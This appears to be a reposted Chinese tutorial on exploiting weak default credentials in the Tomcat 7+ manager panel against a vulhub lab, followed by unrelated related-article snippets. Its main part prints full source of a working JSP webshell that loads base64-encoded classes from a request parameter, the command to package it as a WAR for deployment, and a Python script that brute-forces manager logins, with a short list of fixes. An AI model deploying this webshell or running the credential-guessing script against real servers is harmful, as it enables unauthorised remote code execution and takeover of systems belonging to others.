Tomcat7+ 弱口令 后台getshell漏洞

1 漏洞背景

Tomcat 是一个流行的开源Web应用服务器,用于部署和运行Java Web应用程序。Tomcat 7+ 版本中存在一个安全隐患,即默认的管理员密码可能较弱或者未被修改,攻击者可以利用这一漏洞登录到Tomcat的管理后台,并上传恶意的WAR包来执行任意代码

2 启动vulhub靶场

进入目录cd vulhub/tomcat/tomcat8
启动漏洞环境
docker compose up -d
查看端口
docker-ompose ps

访问 ,您将看到页面,表示环境正在成功运行。

3 漏洞复现步骤

点击Manager App即可跳到管理登陆页面

输入用户名密码 tomcat:tomcat,来到管理界面

登录到后台后可以通过部署war包进行getshell

找一个a.jsp木马

<%-- 使用时请删除此行, 连接密码: cmd --%>
<%!
class NATURAL extends ClassLoader{NATURAL(ClassLoader c){super(c);}public Class proper(byte[] b){return super.defineClass(b, 0, b.length);}
}
public byte[] tuple(String str) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });} catch (Exception e) {try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });} catch (Exception ee) {}}return value;
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {new NATURAL(this.getClass().getClassLoader()).proper(tuple(cls)).newInstance().equals(new Object[]{request,response});
}
%>
​

打包成war

jar cvf tomcat.war a.jsp

上传打包的tomcat.war

生成一个tomcat的路径

在地址栏路径中访问http://192.168.1.20:8080/tomcat/a.jsp

蚁剑连接,密码cmd

4 修复方案

  1. 修改默认密码:确保Tomcat的管理后台使用了强密码,并定期更换密码。

  2. 限制访问权限:限制对Tomcat管理后台的访问权限,只允许可信的IP地址或网络段进行访问。

  3. 禁用不必要的模块:禁用Tomcat中不必要的模块和功能,减少潜在的安全风险。

  4. 定期更新和打补丁:定期更新Tomcat服务器和相关的Java环境,及时修复已知的安全漏洞。

  5. 使用Web应用防火墙(WAF):在Tomcat服务器前部署Web应用防火墙(WAF),对传入的请求进行过滤和检测,防止恶意请求的执行。

5 使用python脚本探测漏洞

弱口令脚本

#!/usr/bin/env python  import requests  
import base64  def tomcat_weak_password():  """  检查 Tomcat 服务器是否存在弱密码。  """  # 输入目标 IP 地址(注意:这里应该是一个完整的 URL,如 http://192.168.1.1:8080/manager/)  url = input("请输入目标IP地址(包含端口和路径,如 http://IP:PORT/manager/): ")  # 常见的用户名列表  users = ['tomcat','admin','system','Administrator','root','123','tomcat']  # 常见的密码列表  passwords = ['12345','123','tomcat','admin','00000','tomcat']  # 遍历用户名和密码列表  for user in users:  for password in passwords:  # 拼接用户名和密码,并转换为 base64 编码  tomcat_passwd = user.strip() + ':' + password.strip()  encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8'))  # 将 base64 编码的密码转换为字符串,并添加 'Basic ' 前缀  encoded_password_end = 'Basic ' + str(encoded_password, 'utf-8')  # 构造请求头  headers = {  'Content-Type': 'application/x-www',  # 注意:这里的内容类型可能不正确,Tomcat 管理页面可能不需要这个  'Authorization': encoded_password_end,  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36'  }  # 发送 GET 请求  response = requests.get(url, headers=headers)  # 如果返回状态码为 200,则认为存在弱口令  if response.status_code == 200:  print('存在弱口令')  print('账号', user)  print('密码', password)  # 当找到一个弱密码后,立即退出循环  break  # 调用函数  
tomcat_weak_password()

结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/688195.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第79题单词搜索

题目&#xff1a; 题解&#xff1a; int directions[4][2] {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};bool check(char** board, int boardSize, int boardColSize, int** visited, int i, int j, char* s, int sSize, int k) {if (board[i][j] ! s[k]) {return false;} else if (…

服务器2080ti驱动的卸载与安装

服务器2080ti驱动的卸载与安装 前言1、下载驱动2、驱动卸载与安装2.1 卸载原来驱动2.2 安装新驱动 3、查看安装情况 前言 安装transformers库&#xff0c;运行bert模型时出错&#xff0c;显示torch版本太低&#xff0c;要2.0以上的&#xff0c;所以更新显卡驱动&#xff0c;重…

AutoCAD中密集的填充打散后消失的问题

有时候在AutoCAD中&#xff0c;图案填充的填充面积过大或填充太过密集时&#xff0c;将该填充打散&#xff0c;也就是执行Explode时&#xff0c;会发现填充图案消失了。 原因是打散后线条太大&#xff0c;系统就不显示了。可以通过设置&#xff1a;HPMAXLINES 值&#xff0c;来…

Rust学习笔记(中)

前言 笔记的内容主要参考与《Rust 程序设计语言》&#xff0c;一些也参考了《通过例子学 Rust》和《Rust语言圣经》。 Rust学习笔记分为上中下&#xff0c;其它两个地址在Rust学习笔记&#xff08;上&#xff09;和Rust学习笔记&#xff08;下&#xff09;。 错误处理 pani…

UML之用例图

1.用例图 用例图指参与者&#xff0c;用例&#xff0c;边界以及它们之间的关系构成的用于描述系统功能的视图。说明是谁要使用系统&#xff0c;以及可以使用该系统可以做些什么。展示了一个外部用户能够观察到的系统功能模型图 2.用例图的元素 &#xff08;1&#xff09;参与…

docker容器技术篇:rancher管理平台部署kubernetes集群

rancher管理平台部署kubernetes集群 Rancher 是一个 Kubernetes 管理工具&#xff0c;让你能在任何地方和任何提供商上部署和运行集群。 Rancher 可以创建来自 Kubernetes 托管服务提供商的集群&#xff0c;创建节点并安装 Kubernetes&#xff0c;或者导入在任何地方运行的现…

Windows 10 Manager (Win10优化工具),中文破姐版 v3.9.3

01 软件介绍 Windows 10 Manager是一款为Win10操作系统设计的综合优化工具。包含逾40种不同的功能模块&#xff0c;旨在全方位地提升系统性能。其核心效用体现在对Win10的优化、调整、清理、加速和修复方面。能够显著提高系统的运行速度&#xff0c;并有效地排查及解决系统问题…

PMP证书好考吗?

PMP新考纲还颠覆了自己旧有的五大知识领域&#xff0c;将原来的五大过程组整合成新领域中过程的一部分&#xff0c;提出了新的商业环境、过程、人员三大知识领域。 最关键的是&#xff0c;在新考纲中明确写到&#xff1a; 重要注意事项。通过工作任务分析开展的研究证实&…

Type-C接口声卡OTG线

随着科技的飞速发展&#xff0c;移动设备已成为我们日常生活中不可或缺的一部分。而在这些设备中&#xff0c;Type-C接口凭借其高速、高效、易用等优点&#xff0c;逐渐成为主流的数据传输和充电接口。与此同时&#xff0c;OTG&#xff08;On-The-Go&#xff09;技术的兴起&…

C++ 课程设计,图片元素的获取,拟合椭圆

WX: help-assignment C 课程设计&#xff0c;图片元素的获取&#xff0c;拟合椭圆 代码实现步骤&#xff1a; 读取.jpg 图片(259219443)&#xff0c;将图片中的x∈(700,1450)y∈(1,1944)的像素值置为0&#xff1b; 提取图片的r、g、b 通道&#xff0c;按照(1r-0.6g-0.3*b)对…

攻略:大学生三下乡投稿媒体网站和快速方法

作为当代大学生,不仅需要学习和掌握知识,更需要将所学知识运用到实践中,参与各种社会实践活动。其中,“三下乡”活动就是一个非常有意义的社会实践活动。三下乡社会实践活动新闻稿投稿网站有哪些?有哪些方式可以快速投稿呢&#xff1f;今天小编给大家一次讲个明白。 三下乡新…

【Qt】界面定制艺术:光标(cursor)、字体(font)、提示(toolTip)、焦点(focusPolicy)与样式表(styleSheet)的深度探索

文章目录 前言&#xff1a;1. cursor: 设置按钮的光标2. front&#xff1a;设置字体3. toolTip: 鼠标悬停提示4. focusPolicy&#xff1a;设置控件获取到焦点的策略5. styleSheet : 样式表总结&#xff1a; 前言&#xff1a; 在现代软件开发中&#xff0c;用户界面(UI)的设计和…